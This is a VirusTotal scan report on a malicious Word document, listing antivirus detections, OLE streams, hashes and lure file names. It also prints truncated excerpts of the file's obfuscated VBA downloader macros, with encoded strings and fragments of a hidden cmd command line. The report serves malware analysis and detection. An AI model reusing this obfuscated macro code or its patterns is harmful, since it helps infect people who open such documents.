Antivirus scan for 045e4dc5a8ddfb5225faf1e0b3dd21ddc69282df130a549c83a55769a97a7c4d at 2018-03-24 03:40:40 UTC

Antivirus	Result	Update
Ad-Aware	VB:Trojan.VBA.Agent.TK	20180324
AhnLab-V3	VBA/Downloader	20180323
ALYac	Trojan.Downloader.VBA.gen	20180324
Avast	Other:Malware-gen [Trj]	20180324
AVG	Other:Malware-gen [Trj]	20180324
Avira (no cloud)	W97M/Agent.96055134	20180323
Baidu	VBA.Trojan-Downloader.Agent.cpw	20180323
BitDefender	VB:Trojan.VBA.Agent.TK	20180324
ClamAV	Doc.Dropper.Agent-6482014-0	20180323
Cyren	Trojan.BWFD-1	20180324
Emsisoft	Trojan-Downloader.Agent (A)	20180324
ESET-NOD32	VBA/TrojanDownloader.Agent.HJJ	20180324
F-Secure	VB:Trojan.VBA.Agent.TK	20180324
Fortinet	VBA/Agent.HHV!tr	20180324
GData	VB:Trojan.VBA.Agent.TK	20180324
Ikarus	Trojan-Downloader.VBA.Agent	20180323
Kaspersky	HEUR:Trojan.Script.Agent.gen	20180324
McAfee	W97M/Downloader.bm	20180324
McAfee-GW-Edition	W97M/Downloader.bm	20180323
eScan	VB:Trojan.VBA.Agent.TK	20180324
Qihoo-360	virus.office.qexvmc.1065	20180324
Sophos AV	Troj/DocDl-NAY	20180324
Symantec	W97M.Downloader	20180323
TrendMicro-HouseCall	TROJ_FRS.VSN17C18	20180324
ZoneAlarm by Check Point	HEUR:Trojan.Script.Agent.gen	20180324
Zoner	Probably W97Obfuscated	20180324
AegisLab		20180324
Alibaba		20180323
Antiy-AVL		20180323
Arcabit		20180324
Avast-Mobile		20180323
Bkav		20180322
CAT-QuickHeal		20180323
CMC		20180324
Comodo		20180324
CrowdStrike Falcon (ML)		20170201
Cybereason		None
Cylance		20180324
DrWeb		20180324
eGambit		20180324
Endgame		20180316
F-Prot		20180324
Sophos ML		20180121
Jiangmin		20180324
K7AntiVirus		20180324
K7GW		20180323
Kingsoft		20180324
Malwarebytes		20180324
MAX		20180324
Microsoft		20180324
NANO-Antivirus		20180324
nProtect		20180324
Palo Alto Networks (Known Signatures)		20180324
Panda		20180323
Rising		20180324
SentinelOne (Static ML)		20180225
SUPERAntiSpyware		20180324
Symantec Mobile Insight		20180311
Tencent		20180324
TheHacker		20180319
TotalDefense		20180323
TrendMicro		20180324
Trustlook		20180324
VBA32		20180323
VIPRE		20180324
ViRobot		20180324
WhiteArmor		20180223
Yandex		20180323
Zillya		20180323

The file being studied follows the Compound Document File format! More specifically, it is a MS Word Document file.

Commonly abused properties

The studied file makes use of macros, a macro is a series of commands and instructions that you group together as a single command to accomplish a task automatically. Macros are often abused to perform malicious tasks when working with a document.

May try to run other files, shell commands or applications.

May create OLE objects.

Seems to contain deobfuscation code.

Summary

creation_datetime

2018-03-22 22:09:00

author

Xohaeqi

title

Xohaeqi

page_count

last_saved

2018-03-22 22:09:00

revision_number

application_name

Microsoft Office Word

character_count

subject

Xohaeqi

code_page

Latin I

template

Normal.dotm

Document summary

OLE Streams

[+] Root Entry

[+] \x01CompObj

[+] \x05DocumentSummaryInformation

[+] \x05SummaryInformation

[+] Macros/VBA/BLJcwMjS

[+] Macros/VBA/OKKofcChPX

[+] Macros/VBA/TbpIiRziRWpi

[+] Macros/VBA/_VBA_PROJECT

[+] Macros/VBA/__SRP_0

[+] Macros/VBA/__SRP_1

[+] Macros/VBA/__SRP_2

[+] Macros/VBA/__SRP_3

[+] Macros/VBA/dJqvWuR

[+] Macros/VBA/dir

[+] Macros/VBA/qjVdAlK

[+] WordDocument

Macros and VBA code streams

[+] TbpIiRziRWpi.bas Macros/VBA/TbpIiRziRWpi 22803 bytes

obfuscated

Function UsfNBRHrjK()
On Error Resume Next
Select Case CWzOj
         Case 46108
            QESEk = Hex(81393 - CSng(91794) - 42206 + ChrW(FZHIOP))
            TBIwzd = EuSkWq
End Select
NphzkUi = zfoRp("9IAZABjADIANAAyAGIAYgBmADcAMgAzADMAOAA4ADEAYgAwADQAYwA4ADEAYwA1ADkANgBhAGMAYgA2ADQANAA0ADMAMQBhADQAYgAxAGIAMABlAGYAMQA0ADEAMwAyAGYAZQBhADkAZQA5ADMAOQAzADcANABkAGMAOQBjAGUANQA0AGIAMgAxAGMAOAAxADgAZQA3AF93SH", 2, 199)
Select Case zakjhC
         Case 17740
            cJMsM = Hex(37804 - CSng(49278) - 86672 + ChrW(AnujN))
            bEmMNJ = FZfqF
End Select
Select Case QhaAN
         Case 8064
            iwcwv = Hex(51732 - CSng(16012) - 79021 + ChrW(EFzajw))
            YfdcY = jRoVc
End Select
ltcITYAEzSf = zfoRp("6.N@HAMAA5ADMANQBhAGQAMwAyPY7", 6, 21)
Select Case KLVIjI
         Case 25378
            RzOdXq = Hex(67417 - CSng(4553) - 25465 + ChrW(WqUcBV))
            bhdNLI = wLiWj
End Select
Select Case Duhvm
         Case 68413
            bFwlOT = Hex(54372 - CSng(32495) - 97770 + ChrW(rJLmOF))
            cRbiwS = XfvfB
End Select
MkXIH = zfoRp("S1ZFoAVgBNAGkATgA0ADMAcwBhAHcAZgBlADkAVwA3AEEAPQA9AHwAYQBkADQAYQAyAGIANgAzAGQANABmjdZH", 4, 79)
Select Case nmbRIE
         Case 68461
            NAREKd = Hex(93816 - CSng(48150) - 67295 + ChrW(ponSVH))
            cnfOiX = PSwEhu
End Select
Select Case sTvSs
         Case 45219
            lSFDi = Hex(30375 - CSng(4211) - 76905 + ChrW(bURIj))
            qdJimw = VKdqY
End Select
PBivYdFj = zfoRp("K2ADAANABmADMANgAwAGMANgA5ADgAOABlADUANAA3ADYAOQBiAGMAMAAwADQAYwBjADkAYgBiADYAZQAzADcAMwBhADkAMwBmAGYAYgA2AGIAOAA3ADUAOQBmADUAYwA2ADUIw.Z@", 2, 132)
Select Case ZWwqQ
         Case 50952
            iCbbsQ = Hex(41918 - CSng(89194) - 54677 + ChrW(tOQAcS))
            OkRdw = ZorwOi
End Select
Select Case nMzQS
         Case 12924
            YNbSco = Hex(80302 - CSng(12711) - 33768 + ChrW(GSHGQ))
            rMWRHn = PFZKmi
End Select
qSEfRHC = zfoRp("bboEAZAA0ADAAZQA2ADAAOQBjAGQANQBhADAAMwBiAGQAMAAxAGQAZABmADMANwAwADQA [... continues ...]

[+] dJqvWuR.bas Macros/VBA/dJqvWuR 13710 bytes

create-ole obfuscated run-file

Function dWnaWsSw()
On Error Resume Next
Select Case DiauB
         Case 90342
            SYhHo = Hex(60706 - CSng(70386) - 7173 + ChrW(NaEaF))
            ItqVW = KGaoDj
End Select
twsSO = zfoRp("ij.sA&&se@5nE", 4, 6)
Select Case oifqD
         Case 84553
            IGGaf = Hex(11429 - CSng(701) - 50966 + ChrW(hUiEpa))
            DfYaIR = SlwkO
End Select
Select Case qDnVYo
         Case 69447
            lqZSwl = Hex(11271 - CSng(86253) - 49192 + ChrW(jjUXvN))
            LQfTUz = AzKhSC
End Select
DDdCw = zfoRp("432hDlKsMHfm33", 4, 6)
Select Case czQQHA
         Case 79271
            amjUCk = Hex(68536 - CSng(14609) - 35552 + ChrW(aoMXE))
            QsdRzb = aWzHj
End Select
Select Case XjsjRG
         Case 43109
            PPYpob = Hex(17568 - CSng(70856) - 5948 + ChrW(ZanriM))
            FikXD = DpiiKa
End Select
dRMTkt = zfoRp("pnXoMhhfvjA&&seqkmr", 4, 12)
Select Case GiwWa
         Case 27990
            NDGHB = Hex(56653 - CSng(12658) - 9546 + ChrW(wjzfVM))
            mSMTU = JzwKir
End Select
Select Case ODHbQQ
         Case 19782
            JYbYS = Hex(62791 - CSng(5106) - 33766 + ChrW(EIhCc))
            QMFlYZ = AurNS
End Select
djLAuJS = zfoRp("KcjB3n4hT6", 3, 1)
Select Case GbJBc
         Case 78705
            vEBHE = Hex(54699 - CSng(70923) - 40712 + ChrW(MBhlNq))
            Kfmts = jhEOr
End Select
Select Case lWAqU
         Case 41675
            cdIqi = Hex(19948 - CSng(77637) - 38058 + ChrW(BOzoOR))
            fqjSV = NSQKRL
End Select
zZZsNQm = zfoRp("3NbbkPLXzA%=!%uBq", 5, 11)
Select Case OcjAQ
         Case 25478
            iTkCv = Hex(18308 - CSng(21135) - 19809 + ChrW(jwtUO))
            zlDDi = paUtd
End Select
Select Case fVMkku
         Case 31656
            roUCI = Hex(76732 - CSng(62270) - 307 + ChrW(nokOZ))
            GqBjc = uvbqRp
End Select
mWilYMjYwM = zfoRp("Z,b47t %uodjANThCVLa8I", 6, 15)
Select Case rqMmi
         Case 77647
            HMQijX = Hex(13494 - CSng(62975) - 58548 + ChrW(PaFwG))
            iOnlzt = Lq [... continues ...]

[+] OKKofcChPX.bas Macros/VBA/OKKofcChPX 4281 bytes

obfuscated

Function jzlWPudwF()
On Error Resume Next
Select Case OXDsa
         Case 91388
            tCEbTJ = Hex(75335 - CSng(27512) - 84637 + ChrW(CZjvS))
            XqPzM = urDswZ
End Select
twsSO = zfoRp("ij.HtkcFlS &     %kpiUIDckpiUIDokpiUIDmkpiUID@5nE", 4, 22)
Select Case iMjDX
         Case 60365
            tsvrN = Hex(22332 - CSng(32573) - 8503 + ChrW(rfSvFj))
            KwjBH = YaMNI
End Select
Select Case dTzGnw
         Case 22495
            wUHHv = Hex(34152 - CSng(92062) - 79109 + ChrW(jGzRX))
            pdrZhB = nXSHE
End Select
DDdCw = zfoRp("432kpiUIDcHfm33", 4, 2)
Select Case QpGSJh
         Case 59513
            EUzTB = Hex(67080 - CSng(85210) - 87274 + ChrW(wKGiIc))
            XiDahj = nMHYLZ
End Select
Select Case iftKD
         Case 48029
            Urwuj = Hex(8808 - CSng(3149) - 1295 + ChrW(bkGoW))
            OcuMB = UfAiC
End Select
dRMTkt = zfoRp("pnXkpiUID%     %kpiUIDckpiUIDokpiUIDmkpiUIDSkpiUIDpkpiUIDEkpiUIDckpiUIDqkmr", 4, 23)
Select Case OcMcY
         Case 84642
            MIoNP = Hex(41577 - CSng(85076) - 23428 + ChrW(IMfGj))
            RRPqX = AMwPh
End Select
Select Case AuTsc
         Case 66624
            tdGjh = Hex(93287 - CSng(4916) - 34464 + ChrW(jXVXRZ))
            JlmhJJ = bViWX
End Select
djLAuJS = zfoRp("Kc%     /V         /c    B3n4hT6", 3, 23)
Select Case sVJwnW
         Case 42200
            zjBPm = Hex(57314 - CSng(83422) - 80692 + ChrW(KzaBK))
            pBwkS = OwZfZi
End Select
Select Case bjKPMR
         Case 65149
            iYKbA = Hex(56556 - CSng(90286) - 67634 + ChrW(NfuVDW))
            uzOULi = bcIHQ
End Select
zZZsNQm = zfoRp("3Nbbifwb bUJKXzqBq", 5, 12)
Select Case iSbawc
         Case 7470
            hihpE = Hex(52641 - CSng(94203) - 35737 + ChrW(EYNYUM))
            NsAYi = sVizEv
End Select
Select Case BKBdS
         Case 68166
            wjzYj = Hex(45256 - CSng(54553) - 20265 + ChrW(AIzHkd))
            BPkIS = HRBSNt
End Select
mWilYMjYwM = zfoRp("Z,b47md lZX8I", 6, 6)
Select Case iiEOcI
   [... continues ...]

[+] BLJcwMjS.bas Macros/VBA/BLJcwMjS 370 bytes

obfuscated

ExifTool file metadata

File identification

MD5 7ee67ce16563726c91a09013ccd47911

SHA1 06bebe4da277f424263a882ef8ecbe5774666747

SHA256 045e4dc5a8ddfb5225faf1e0b3dd21ddc69282df130a549c83a55769a97a7c4d

ssdeep

1536:JMiqrEFyeSEJ+a9YYHjhpVqR/7pt13Lu6gHqukDzxsezpzss0ntZRykPVc9hMBU+:JMiqkNqRn13LaHqukDzGG30ntICpW6h

File size 142.0 KB ( 145408 bytes )

File type MS Word Document

Magic literal

CDF V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Xohaeqi, Subject: Xohaeqi, Author: Xohaeqi, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed Mar 21 21:09:00 2018, Last Saved Time/Date: Wed Mar 21 21:09:00 2018, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0

TrID	Microsoft Word document (54.2%) Microsoft Word document (old ver.) (32.2%) Generic OLE2 / Multistream Compound File (13.5%)

VirusTotal metadata

First submission 2018-03-22 21:25:05 UTC ( 11 months, 1 week ago )

Last submission 2018-05-08 06:02:07 UTC ( 9 months, 3 weeks ago )

File names

XYD-59396204657399.doc
QWW-824342670441698.doc
FL-5845710625.doc
YI-5283898131.doc
IPQ-9323311857.doc
DPK-2520832084.doc
OW-675285806982774.doc
QUT-80863736596064.doc
QSZ-57298168.doc
NAL-27245583.doc
UC-0365102.doc
PQ-128567178620.doc
UG-89814393253.doc
b82456272761ccab51fb4e6ceedcb8e2a9539dd7
YP-705841655142.doc
JYJ-6430345185.doc

CIA-63571093748760.doc
WTD-0375541473.doc
ATF-921246116579068.doc
EO-862831305.doc
UE-122053086.doc
GI-708882320801.doc
WJF-5248247.doc
JK-317784532.doc

SHA256:	045e4dc5a8ddfb5225faf1e0b3dd21ddc69282df130a549c83a55769a97a7c4d
File name:	b82456272761ccab51fb4e6ceedcb8e2a9539dd7
Detection ratio:	26 / 56
Analysis date:	2018-03-24 03:40:40 UTC ( 11 months ago ) View latest

Ciphered bundle

Commonly abused properties

Summary

Document summary

OLE Streams

Macros and VBA code streams

ExifTool file metadata

File identification

VirusTotal metadata

Leave your comment...

Recover your password

Join VirusTotal Community

Sign in